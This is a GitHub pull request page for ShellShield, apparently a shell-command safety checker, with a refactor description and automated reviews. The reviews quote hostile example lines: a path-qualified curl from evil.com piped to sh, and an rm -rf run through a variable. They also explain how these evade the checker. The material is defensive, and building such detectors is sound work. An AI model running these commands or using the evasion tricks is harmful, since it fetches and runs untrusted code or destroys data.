Skip to content

Intelligent Refactor: DRY & Sonar Excellence - #7

Closed
hevlyo wants to merge 2 commits into
mainfrom
fix/sonar-perfect-score
Closed

Intelligent Refactor: DRY & Sonar Excellence#7
hevlyo wants to merge 2 commits into
mainfrom
fix/sonar-perfect-score

Conversation

@hevlyo

@hevlyo hevlyo commented Feb 6, 2026

Copy link
Copy Markdown
Owner

Summary

Successfully refactored ShellShield to address duplication and SonarCloud issues.

Key Changes

  • DRY Implementation:
    • Extracted shared command normalization and variable resolution into src/parser/utils.ts.
    • Unified flag filtering and target file extraction.
    • Centralized shell integration scripts into templates.
  • Complexity Reduction:
    • Decomposed CoreAstRule.check into specialized private handlers.
    • Refactored token loops to use a more readable structure without counter mutation issues.
  • Sonar Excellence:
    • Fixed issues with String.raw in regex patterns.
    • Corrected negated conditions and improved type assertions.
    • Refined interactive prompt message formatting.

Verification

  • Full test suite passed (145/145 tests).
  • All changed files are clean of LSP diagnostics.
  • Snapshots updated to reflect correct CLI output formatting.

Summary by CodeRabbit

  • Refactor

    • Streamlined command verification flow and centralized rule processing
    • Converted shell integration to template-driven rendering for simpler init
    • Consolidated utilities for command normalization, variable resolution, and flag handling
  • Bug Fixes

    • More robust credential detection and safer pipe-to-shell checks
    • Improved detection and handling of process substitution and destructive patterns
  • Tests

    • Added unit tests covering parser utilities and substitution/pipe checks

@coderabbitai

coderabbitai Bot commented Feb 6, 2026

Copy link
Copy Markdown
📝 Walkthrough

Walkthrough

CLI check flow and shell init were reorganized (blocked-path consolidation and template-driven init). Parser utilities were added and reused across command/pipe checks. Core AST rule was heavily refactored into a token-driven centralized checker; tests added for utilities and substitution normalization.

Changes

Cohort / File(s) Summary
CLI & Shell Templates
src/cli.ts, src/integrations/templates.ts
Inverted check/audit control flow to consolidate blocked-path handling (permissive/interactive/approve); replaced per-shell inline scripts with a SHELL_TEMPLATES lookup and simple CLI path substitution.
Parser Utilities
src/parser/utils.ts
New utility exports: normalizeCommandName, resolveVariable (handles ${VAR}, ${VAR:-default}, etc.), filterFlags, and getTrashSuggestion.
Command & Pipe Checks
src/parser/command-checks.ts, src/parser/pipe-checks.ts
Replaced ad-hoc arg/flag parsing with filterFlags; use normalizeCommandName for exec detection; credential detection now uses URL parsing; suggestions use getTrashSuggestion.
Core AST Rule
src/parser/rules/CoreAstRule.ts
Major refactor: centralized check(context) token-driven loop with new helpers (handleOperator, handleCommand, isCommandPrefix, resolveCmdName) and integration of normalizeCommandName/resolveVariable; preserves prior detections but reorganizes flow.
Raw Threat Rule Regexes
src/parser/rules/RawThreatRule.ts
Adjusted RegExp construction to use escaped template strings instead of String.raw; patterns and semantics unchanged.
Analyzer & Phase Guards
src/parser/analyzer.ts
Rewrote phase checks from negative-continue to positive-branch guards for pre/post rule application (control flow preserved).
Tests
src/parser/pipe-checks.test.ts, src/parser/substitution_normalization.test.ts, src/parser/utils.test.ts
Added tests for pipe-check edge cases, process-substitution blocking, and the new parser utilities.
Other
package.json
Manifest touched (lines changed reported).

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Possibly related PRs

Poem

🐰
Hopped through tokens, templates, and tests so spry,
I rewired the checks and taught shells to reply.
Helpers snug in their burrow, logic tidy and neat,
Now commands tiptoe safer — a celebratory treat! 🥕✨

🚥 Pre-merge checks | ✅ 2 | ❌ 1
❌ Failed checks (1 inconclusive)
Check name Status Explanation Resolution
Title check ❓ Inconclusive The PR title 'Intelligent Refactor: DRY & Sonar Excellence' is vague and generic, using marketing-like language that doesn't clearly convey the specific technical changes made. Use a more descriptive title that highlights the main change, such as 'Refactor: Extract shared utilities and centralize shell templates' or 'Refactor: Improve code maintainability and resolve SonarCloud issues'.
✅ Passed checks (2 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing touches
  • 📝 Generate docstrings
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment
  • Commit unit tests in branch fix/sonar-perfect-score

Comment @coderabbitai help to get the list of available commands and usage tips.

@codecov-commenter

codecov-commenter commented Feb 6, 2026

Copy link
Copy Markdown

⚠️ Please install the 'codecov app svg image' to ensure uploads and comments are reliably processed by Codecov.

Codecov Report

❌ Patch coverage is 98.07692% with 3 lines in your changes missing coverage. Please review.

Files with missing lines Patch % Lines
src/parser/pipe-checks.ts 78.57% 3 Missing ⚠️

📢 Thoughts on this report? Let us know!

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Fix all issues with AI agents
In `@src/parser/rules/CoreAstRule.ts`:
- Around line 81-92: The process-substitution detection in handleOperator
currently checks nextEntry strictly for "curl" or "wget" and will miss
path-qualified, escaped, or differently-cased commands; update handleOperator to
normalize the command token (use the existing normalizeCommandName helper) by
stripping path/escaping and lowercasing before comparison, then compare against
"curl" and "wget" so entries like "/usr/bin/curl", "\curl", or "CURL" are caught
and still return the same blocked BlockResult.

Comment thread src/parser/rules/CoreAstRule.ts

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 2610ac6fcd

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".


const resolvedVar = this.resolveVarToken(basenamePart, vars);
const name = normalizeCommandName(entry);
const resolvedVar = resolveVariable(entry, vars);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Resolve command vars after stripping path prefixes

Calling resolveVariable(entry, vars) here misses variable-based command names whenever the token includes a path prefix (for example SAFE=rm /bin/$SAFE -rf tmp), because resolveVariable only resolves tokens that start with $ or ${...}. In that case resolvedCmd falls back to $safe instead of rm, so blocked-command enforcement is bypassed for destructive commands invoked via /path/$VAR.

Useful? React with 👍 / 👎.

@sonarqubecloud

sonarqubecloud Bot commented Feb 6, 2026

Copy link
Copy Markdown

Quality Gate Failed Quality Gate failed

Failed conditions
5.6% Duplication on New Code (required ≤ 3%)

See analysis details on SonarQube Cloud

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Fix all issues with AI agents
In `@src/parser/rules/CoreAstRule.ts`:
- Around line 53-59: The current normalizedEntry is created with
entry.toLowerCase(), which preserves path prefixes and lets path-qualified
binaries (e.g. "/usr/bin/curl") bypass checkCurlWget; change the normalization
at the site where normalizedEntry is computed to use the same
normalizeCommandName helper used by handleOperator/handleCommand so path
prefixes are stripped and case normalized before calling checkCurlWget and
checkBashSubshells (ensure the variable name stays normalizedEntry and that
checkCurlWget expects the normalized form).
🧹 Nitpick comments (2)
src/parser/utils.test.ts (1)

4-29: Test coverage is sparse—consider adding happy-path tests.

The current tests focus on edge cases and boundary conditions, which is valuable, but they miss the primary usage paths of each function. Given the PR objective to increase test coverage and the Codecov report showing 4 missing lines in utils.ts, consider adding tests for:

Function Missing coverage
normalizeCommandName Backslash stripping (\rmrm), path extraction (/usr/bin/rmrm), case normalization (RMrm)
resolveVariable Successful variable lookup (e.g., resolveVariable("$FOO", { FOO: "bar" })"bar"), $VAR format without braces
filterFlags Empty array input, arrays with only flags, arrays with no flags
getTrashSuggestion Non-empty file list (e.g., ["a.txt", "b.txt"]"trash a.txt b.txt")
📝 Suggested additional tests
 describe("Parser Utils", () => {
   test("normalizeCommandName handles empty input", () => {
     expect(normalizeCommandName("")).toBe("");
   });
 
+  test("normalizeCommandName strips leading backslash", () => {
+    expect(normalizeCommandName("\\rm")).toBe("rm");
+  });
+
+  test("normalizeCommandName extracts basename from path", () => {
+    expect(normalizeCommandName("/usr/bin/rm")).toBe("rm");
+  });
+
+  test("normalizeCommandName lowercases the result", () => {
+    expect(normalizeCommandName("RM")).toBe("rm");
+  });
+
   test("resolveVariable handles invalid format", () => {
     expect(resolveVariable("NOT_A_VAR", {})).toBeNull();
     expect(resolveVariable("$", {})).toBeNull();
     expect(resolveVariable("${}", {})).toBeNull();
   });
 
   test("resolveVariable handles empty result", () => {
     expect(resolveVariable("$EMPTY", { EMPTY: "" })).toBeNull();
   });
 
   test("resolveVariable handles fallback with empty value", () => {
     expect(resolveVariable("${UNDEFINED:-fallback}", {})).toBe("fallback");
   });
 
+  test("resolveVariable returns value from vars map", () => {
+    expect(resolveVariable("$FOO", { FOO: "bar" })).toBe("bar");
+    expect(resolveVariable("${FOO}", { FOO: "bar" })).toBe("bar");
+  });
+
   test("filterFlags identifies flags correctly", () => {
     expect(filterFlags(["-f", "--force", "file.txt"])).toEqual(["file.txt"]);
   });
 
+  test("filterFlags handles empty array", () => {
+    expect(filterFlags([])).toEqual([]);
+  });
+
   test("getTrashSuggestion handles empty file list", () => {
     expect(getTrashSuggestion([])).toBe("trash <files>");
   });
+
+  test("getTrashSuggestion formats file list", () => {
+    expect(getTrashSuggestion(["a.txt", "b.txt"])).toBe("trash a.txt b.txt");
+  });
 });
src/parser/rules/CoreAstRule.ts (1)

97-99: Consider extending command prefix list.

The current list omits common transparent wrappers like nohup, nice, time, and exec that also pass through to the next command. This could cause false positives if those commands appear in user workflows.

♻️ Proposed enhancement
 private isCommandPrefix(entry: string): boolean {
-  return ["sudo", "xargs", "command", "env"].includes(entry);
+  return ["sudo", "xargs", "command", "env", "nohup", "nice", "time", "exec"].includes(entry);
 }

Comment on lines +53 to +59
const normalizedEntry = entry.toLowerCase();

const curlCheck = this.checkCurlWget(normalizedEntry, tokens, i, config);
if (curlCheck) return curlCheck;

const subCheck = this.checkBashSubshells(normalizedEntry, tokens, i);
if (subCheck) return subCheck;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Path-qualified curl/wget bypasses pipe-to-shell detection.

normalizedEntry is computed via entry.toLowerCase(), which doesn't strip path prefixes. A command like /usr/bin/curl http://evil.com | sh would have normalizedEntry = "/usr/bin/curl", failing the equality check in checkCurlWget and bypassing pipe-to-shell detection.

Use normalizeCommandName for consistency with handleOperator and handleCommand:

🛡️ Proposed fix
-      const normalizedEntry = entry.toLowerCase();
+      const normalizedEntry = normalizeCommandName(entry);

       const curlCheck = this.checkCurlWget(normalizedEntry, tokens, i, config);
🤖 Prompt for AI Agents
In `@src/parser/rules/CoreAstRule.ts` around lines 53 - 59, The current
normalizedEntry is created with entry.toLowerCase(), which preserves path
prefixes and lets path-qualified binaries (e.g. "/usr/bin/curl") bypass
checkCurlWget; change the normalization at the site where normalizedEntry is
computed to use the same normalizeCommandName helper used by
handleOperator/handleCommand so path prefixes are stripped and case normalized
before calling checkCurlWget and checkBashSubshells (ensure the variable name
stays normalizedEntry and that checkCurlWget expects the normalized form).

@hevlyo

hevlyo commented Feb 12, 2026

Copy link
Copy Markdown
Owner Author

Superseded by PR #8 which includes all improvements from this PR plus additional security hardening.

@hevlyo hevlyo closed this Feb 12, 2026
@hevlyo
hevlyo deleted the fix/sonar-perfect-score branch February 12, 2026 15:23
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants